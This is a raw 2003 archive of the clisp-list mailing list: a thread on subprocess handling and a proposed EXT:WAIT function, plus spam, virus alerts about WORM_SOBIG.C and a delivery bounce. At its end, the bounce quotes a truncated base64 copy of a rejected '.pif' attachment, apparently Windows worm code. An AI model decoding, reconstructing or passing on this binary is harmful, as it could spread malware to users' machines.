Date: Wed Jun 4 08:58:04 2003 X-Original-Date: Wed, 4 Jun 2003 17:55:04 +0200 Douglas Philips writes: > On Wednesday, Jun 4, 2003, at 10:53 US/Eastern, Sam Steingold wrote: > > t returns NIL if wait is NIL. > > (should probably return the PID, INPUT, OUTPUT, ERROR?) >=20 > This has all been interesting to follow. > I'm wondering, did I miss a message or five about how one might be able= =20 > to wait for a subprocess started without waiting. Sometimes I need to=20 > run a subprocess :wait nil and yet later be able to get its exit=20 > status... Esp. if I want to start a lot of them and not have zombies=20 > floating around... ;-) >=20 > Just a thought... >=20 > ; Wed, 04 Jun 2003 09:02:26 -0700 Received: from mac.com (smtpin07-en2 [10.13.10.152]) by smtpout.mac.com (Xserve/MantshX 2.0) with ESMTP id h54G274m009045 for ; Wed, 4 Jun 2003 09:02:08 -0700 (PDT) Received: from mac.com (unobtainium.wv.cc.cmu.edu [128.2.72.58]) (authenticated bits=0) by mac.com (Xserve/MantshX 2.0) with ESMTP id h54G1lqY012142; Wed, 4 Jun 2003 09:01:49 -0700 (PDT) Subject: Re: Re[2]: [clisp-list] Separate Unix error stream keyword for ext:run-shell-command Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) Cc: sds@gnu.org, clisp-list@lists.sourceforge.net To: pjb@informatimago.com From: Douglas Philips In-Reply-To: <16094.5720.851621.727908@thalassa.informatimago.com> Message-Id: Content-Transfer-Encoding: 7bit X-Mailer: Apple Mail (2.552) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 4 09:03:23 2003 X-Original-Date: Wed, 4 Jun 2003 12:01:48 -0400 On Wednesday, Jun 4, 2003, at 11:55 US/Eastern, Pascal Bourguignon wrote: > Use linux:wait or linux:waitpid (with the no hang option). > > This notion of waiting on a processus is strongly unix-related I > think. So using a POSIX, or in the lack of it, a unix or linux API is > acceptable. Agreed. Unfortunately last I tried to build the CVS head on Mac OS/X it didn't build. I'm running 2.29 (under Jaguar 10.2.5) and don't have that function. Sigh. I didn't have time to track down the build failure before. Maybe this weekend I'll try again, but maybe not. -Doug From cmiller8891oliverlook@yahoo.com Wed Jun 04 09:13:27 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19NatD-0005gG-00 for ; Wed, 04 Jun 2003 09:13:27 -0700 Received: from lsanca1-ar3-033-138.lsanca1.dsl-verizon.net ([4.35.33.138]:3178) by panoramix.vasoftware.com with smtp (Exim 4.05-VA-mm1 #1 (Debian)) id 19NatA-0003Oz-00 for ; Wed, 04 Jun 2003 09:13:25 -0700 Message-ID: <2003067344.23699.qmail@mail.yahoo.com> From: "John Lambiris" To: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Status: Yes, hits=7.5 required=7.0 tests=X_NOT_PRESENT,GAPPY_TEXT,MAILTO_LINK,ASCII_FORM_ENTRY, CTYPE_JUST_HTML,FORGED_YAHOO_RCVD,RCVD_IN_DSBL version=2.21 X-Spam-Flag: YES X-Spam-Level: ******* X-Spam-Checker-Version: SpamAssassin 2.21 (devel $Id: SpamAssassin.pm,v 1.92 2002/06/11 03:50:03 hughescr Exp $) X-Spam-Prev-Content-Type: text/html; charset=us-ascii X-Spam-Report: 7.5 hits, 7 required; * 0.5 -- Message has no X- headers * -1.2 -- BODY: Contains 'G.a.p.p.y-T.e.x.t' * 0.0 -- BODY: Includes a URL link to send an email * 0.0 -- BODY: Contains an ASCII-formatted form * 3.2 -- HTML-only mail, with no text version * 2.0 -- 'From' yahoo.com does not match 'Received' headers * 3.0 -- RBL: Received via a relay in list.dsbl.org [RBL check: found 138.33.35.4.list.dsbl.org] Subject: [clisp-list] Submit to Japanese search engines, Hispanic search engines etc. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 4 09:14:09 2003 X-Original-Date: Wed, 4 Jun 2003 10:18:05 -0700 Let us Submit http://www.clisp.cons.org on Japanese Search Engines, German Search Engines, Hispanic Search Engines, French search engines etc ..


Reach these multilingual markets without having to translate your website!

International search engines submission is not about doing business with foreigners in their native language but rather bringing foreigners to your website to do business with you in English!

However, you need to have at least 1 page in German optimized with German keywords in order to submit on German search engines, at least 1 page in Japanese optimized with Japanese keywords in order to submit on Japanese search engines etc.

Let's assume that you're trying to reach the Hispanic market: we would then create a Spanish page optimized with your Spanish keywords. It would have a similar look and feel as your home page. It could be considered as your "Spanish entry page". Such page would tell Hispanic users in their native tongue that by entering your website they should expect a content in English and that also all correspondences must be established in English as well! This is the "culturally correct" way to make your first steps on foreign e-markets..

As it stands Internet users searching on German search engines, French search engines, Hispanic, Portuguese, Italian, Japanese or Chinese search engines cannot find your website! In fact, it  probably  has not been optimized nor listed accordingly....

You may request additional info by email at info@multilingualseo.com or visit our site http://www.multilingualseo.com  
 
Check out our rates and take advantage of our "First Time Customer Free Submission offer" ! Find out what is free versus what is not :




Test a few markets! What will it be? The German web? The Japanese web? The French web? The choice is yours!! Let's increase your Web exposure: reach "the other half of the Internet"!

Regards,


John Lambiris
info@multilingualseo.com
___________________________________________________________________
C Y B E R D I F F E R E N C E C O R P.
PO BOX 2735
SEDONA, ARIZONA 86336 USA
TEL:1(928)203-0122 - FAX: 1(928)-222-8473
http://www.multilingualseo.com:
Multilingual search engine submission in 9 languages.

 

From MAILER-DAEMON Wed Jun 04 09:27:08 2003 Received: from mta204-rme.xtra.co.nz ([210.86.15.147]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Nb6Q-0001te-00 for ; Wed, 04 Jun 2003 09:27:06 -0700 To: clisp-list@lists.sourceforge.net From: Mail Administrator Message-ID: <20030604162700.KPSQ5863.mta204-rme.xtra.co.nz@mta204-rme> MIME-Version: 1.0 Content-Type: multipart/report; report-type=delivery-status; Boundary="===========================_ _= 6775207(5863)1054744020" Subject: [clisp-list] Mail System Error - Returned Mail Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 4 09:28:03 2003 X-Original-Date: Thu, 5 Jun 2003 04:27:00 +1200 --===========================_ _= 6775207(5863)1054744020 Content-Type: text/plain This is a system generated message. Please DO NOT REPLY. Your message was not delivered for the following reason: The following destination addresses were unknown (please check the addresses and re-mail the message): For more information on why this message wasn't delivered, and an explanation of other common mail delivery errors, visit our Web site at: http://xtra.co.nz/maildelivery Kind regards. The Xtra Messaging Team --===========================_ _= 6775207(5863)1054744020 Content-Type: message/delivery-status Reporting-MTA: dns; mta204.xtra.co.nz Arrival-Date: Thu, 5 Jun 2003 04:27:00 +1200 Received-From-MTA: dns; mta4-rme.xtra.co.nz (210.86.15.141) Final-Recipient: RFC822; Action: failed Status: 5.1.1 --===========================_ _= 6775207(5863)1054744020 Content-Type: message/rfc822 Received: from mta4-rme.xtra.co.nz ([210.86.15.141]) by mta204-rme.xtra.co.nz with ESMTP id <20030604162700.KPSJ5863.mta204-rme.xtra.co.nz@mta4-rme.xtra.co.nz> for ; Thu, 5 Jun 2003 04:27:00 +1200 Received: from P3-017 ([193.136.166.125]) by mta4-rme.xtra.co.nz with ESMTP id <20030604162146.TUNL16698.mta4-rme.xtra.co.nz@P3-017> for ; Thu, 5 Jun 2003 04:21:46 +1200 From: To: Subject: Re: Your application Date: Wed, 4 Jun 2003 17:26:54 +0100 Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="CSmtpMsgPart123X456_000_04950869" Message-Id: <20030604162146.TUNL16698.mta4-rme.xtra.co.nz@P3-017> This is a multipart message in MIME format --CSmtpMsgPart123X456_000_04950869 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please see the attached file. --CSmtpMsgPart123X456_000_04950869 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit ------------------ Virus Warning Message ------------------ document.pif is removed from here because it contains a virus. ------------------------------------------------------------- --CSmtpMsgPart123X456_000_04950869 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit ------------------ Virus Warning Message ------------------ Found virus WORM_SOBIG.C in file document.pif The uncleanable file is deleted. ------------------------------------------------------------- --CSmtpMsgPart123X456_000_04950869-- --===========================_ _= 6775207(5863)1054744020-- From auto-filter@xtra.co.nz Wed Jun 04 09:27:14 2003 Received: from mta202-rme.xtra.co.nz ([210.86.15.145]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Nb6X-0001uh-00 for ; Wed, 04 Jun 2003 09:27:13 -0700 Received: from localhost ([210.86.15.141]) by mta202-rme.xtra.co.nz with SMTP id <20030604162706.VINZ6898.mta202-rme.xtra.co.nz@localhost> for ; Thu, 5 Jun 2003 04:27:06 +1200 From: auto-filter@xtra.co.nz To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20030604162706.VINZ6898.mta202-rme.xtra.co.nz@localhost> Subject: [clisp-list] Virus Alert Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 4 09:28:05 2003 X-Original-Date: Thu, 5 Jun 2003 04:27:06 +1200 An attachment called (WORM_SOBIG.C) in an email that appears to have been sent from your email address to (arrowcomp@xtra.co.nz) contained the virus (WORM_SOBIG.C), which has been deleted. If you do not believe you were the actual sender, the Klez virus is likely to be the culprit. The Klez virus works by forging the 'From' address inside the virus infected email, which means you can receive a virus alert from Xtra even if you are not necessarily the actual sender. Information on Xtra's anti-virus email filter: http://xtra.co.nz/anti-virus More on the Klez virus: http://xtra.co.nz/help/0,,6156-1347943,00.html Help with filtering anti-virus email alerts from Xtra: http://xtra.co.nz/help/0,,6156-1656774,00.html Help with removing a virus from your computer: http://xtra.co.nz/help/0,,4128-544089,00.html If you have any other questions, please forward this email along with your enquiry to anti-virus@xtra.co.nz From sds@gnu.org Wed Jun 04 09:32:33 2003 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19NbBg-0003Nl-00 for ; Wed, 04 Jun 2003 09:32:32 -0700 Received: from loiso.podval.org ([141.149.176.45]) by out001.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030604163223.REWQ12592.out001.verizon.net@loiso.podval.org>; Wed, 4 Jun 2003 11:32:23 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h54GVt1g026516; Wed, 4 Jun 2003 12:32:01 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h54GVliP026512; Wed, 4 Jun 2003 12:31:47 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Douglas Philips Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[2]: [clisp-list] Separate Unix error stream keyword for ext:run-shell-command References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 48 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out001.verizon.net from [141.149.176.45] at Wed, 4 Jun 2003 11:32:18 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 4 09:33:08 2003 X-Original-Date: 04 Jun 2003 12:31:47 -0400 > * In message > * On the subject of "Re: Re[2]: [clisp-list] Separate Unix error stream keyword for ext:run-shell-command" > * Sent on Wed, 4 Jun 2003 11:18:52 -0400 > * Honorable Douglas Philips writes: > > On Wednesday, Jun 4, 2003, at 10:53 US/Eastern, Sam Steingold wrote: > > t returns NIL if wait is NIL. > > (should probably return the PID, INPUT, OUTPUT, ERROR?) > > I'm wondering, did I miss a message or five about how one might be > able to wait for a subprocess started without waiting. Sometimes I > need to run a subprocess :wait nil and yet later be able to get its > exit status... Esp. if I want to start a lot of them and not have > zombies floating around... ;-) good point. Arseny, could you please add a function EXT:WAIT, based on WaitForSingleObject() on woe32 and waitpid() on Unix [I do not have access to woe32 docs, so I have to pass this to you :-) with the following signature: (WAIT pid &key :hang-p) returning 1 or 2 values: if the process exited, then value1 = :EXIT value2 = status if the process was signalled, then value1 = :SIGNAL value2 = signal number if the process was stopped, then value1 = :STOP value2 = signal number if the process was continued, value1 = :CONTINUE of course we will need to accomodate the differences between woe32 and unix. I suggest that we use this function in (LAUNCH ... :WAIT NIL) -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Bill Gates is great, as long as `bill' is a verb. From ereznac5050jski469usa@yahoo.com Wed Jun 04 09:54:39 2003 Received: from panoramix.vasoftware.com ([198.186.202.147]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19NbX5-0002k6-00 for ; Wed, 04 Jun 2003 09:54:39 -0700 Received: from p508554f6.dip.t-dialin.net ([80.133.84.246]:4580) by panoramix.vasoftware.com with smtp (Exim 4.05-VA-mm1 #1 (Debian)) id 19NbWy-0002RR-00 for ; Wed, 04 Jun 2003 09:54:37 -0700 Message-ID: <2003062658.22415.qmail@mail.yahoo.com> From: "John Lambiris" To: MIME-Version: 1.0 Content-Type: text/html; charset=us-ascii X-Spam-Status: No, hits=6.5 required=7.0 tests=FROM_HAS_MIXED_NUMS,X_NOT_PRESENT,GAPPY_TEXT,MAILTO_LINK, ASCII_FORM_ENTRY,CTYPE_JUST_HTML,FORGED_YAHOO_RCVD version=2.21 X-Spam-Level: ****** Subject: [clisp-list] Submit to Japanese search engines, Hispanic search engines etc. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 4 09:55:06 2003 X-Original-Date: Wed, 4 Jun 2003 10:59:07 -0700 Let us Submit http://www.clisp.cons.org on Japanese Search Engines, German Search Engines, Hispanic Search Engines, French search engines etc ..


Reach these multilingual markets without having to translate your website!

International search engines submission is not about doing business with foreigners in their native language but rather bringing foreigners to your website to do business with you in English!

However, you need to have at least 1 page in German optimized with German keywords in order to submit on German search engines, at least 1 page in Japanese optimized with Japanese keywords in order to submit on Japanese search engines etc.

Let's assume that you're trying to reach the Hispanic market: we would then create a Spanish page optimized with your Spanish keywords. It would have a similar look and feel as your home page. It could be considered as your "Spanish entry page". Such page would tell Hispanic users in their native tongue that by entering your website they should expect a content in English and that also all correspondences must be established in English as well! This is the "culturally correct" way to make your first steps on foreign e-markets..

As it stands Internet users searching on German search engines, French search engines, Hispanic, Portuguese, Italian, Japanese or Chinese search engines cannot find your website! In fact, it  probably  has not been optimized nor listed accordingly....

You may request additional info by email at info@multilingualseo.com or visit our site http://www.multilingualseo.com  
 
Check out our rates and take advantage of our "First Time Customer Free Submission offer" ! Find out what is free versus what is not :




Test a few markets! What will it be? The German web? The Japanese web? The French web? The choice is yours!! Let's increase your Web exposure: reach "the other half of the Internet"!

Regards,


John Lambiris
info@multilingualseo.com
___________________________________________________________________
C Y B E R D I F F E R E N C E C O R P.
PO BOX 2735
SEDONA, ARIZONA 86336 USA
TEL:1(928)203-0122 - FAX: 1(928)-222-8473
http://www.multilingualseo.com:
Multilingual search engine submission in 9 languages.

 

From MAILER-DAEMON Wed Jun 04 11:54:28 2003 Received: from panoramix.vasoftware.com ([198.186.202.147]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19NdP1-0000xm-00 for ; Wed, 04 Jun 2003 11:54:27 -0700 Received: from mail by panoramix.vasoftware.com with local (Exim 4.05-VA-mm1 #1 (Debian)) id 19NdP1-0007sI-00 for ; Wed, 04 Jun 2003 11:54:27 -0700 X-Failed-Recipients: clisp-list@lists.sourceforge.net From: Mail Delivery System To: clisp-list@sourceforge.net Message-Id: Subject: [clisp-list] Mail delivery failed: returning message to sender Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 4 11:55:06 2003 X-Original-Date: Wed, 04 Jun 2003 11:54:27 -0700 This message was created automatically by mail delivery software (Exim). A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: clisp-list@lists.sourceforge.net This message has been rejected because it has a potentially executable attachment "45443.pif". This form of attachment is often sent out by viruses and other malicious software without your consent. In order to protect our users we scan for and reject these files. If you meant to send this file then please package it up as a zip file and resend it. ------ This is a copy of the message, including all the headers. ------ ------ The body of the message is 80441 characters long; only the first ------ 10240 or so are included here. Return-path: Received: from a213-22-96-247.netcabo.pt ([213.22.96.247]:3282 helo=CASA) by panoramix.vasoftware.com with esmtp (Exim 4.05-VA-mm1 #1 (Debian)) id 19NdOi-0006zH-00 for ; Wed, 04 Jun 2003 11:54:09 -0700 From: To: Date: Wed, 4 Jun 2003 19:54:06 +0100 Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Message-Id: Subject: Re: Screensaver Content-Type: multipart/mixed; boundary="CSmtpMsgPart123X456_000_00E587EC" X-Spam-Status: No, hits=0.6 required=7.0 tests=NO_REAL_NAME version=2.21 X-Spam-Level: This is a multipart message in MIME format --CSmtpMsgPart123X456_000_00E587EC Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please see the attached file. --CSmtpMsgPart123X456_000_00E587EC Content-Type: application/octet-stream; name="45443.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="45443.pif TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAABSj0hvFu4mPBbuJjwW7iY8lfIoPAzuJjz+8Sw8bO4mPEDxNTwb7iY8Fu4m PBXuJjwW7ic8hu4mPHTxNTwb7iY8/vEtPA3uJjxSaWNoFu4mPAAAAAAAAAAAUEUAAEwBAwBEk9c+ AAAAAAAAAADgAA8BCwEGAADgAAAAEAAAABABANDyAQAAIAEAAAACAAAAQAAAEAAAAAIAAAQAAAAA AAAABAAAAAAAAAAAEAIAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA AAAAAAIA0AEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAABDREQwAAAAAAAQAQAAEAAAAAAAAAAEAAAAAAAAAAAAAAAAAACAAADgQ0REMQAAAAAA 4AAAACABAADWAAAABAAAAAAAAAAAAAAAAAAAQAAA4ENERDIAAAAAABAAAAAAAgAAAgAAANoAAAAA AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 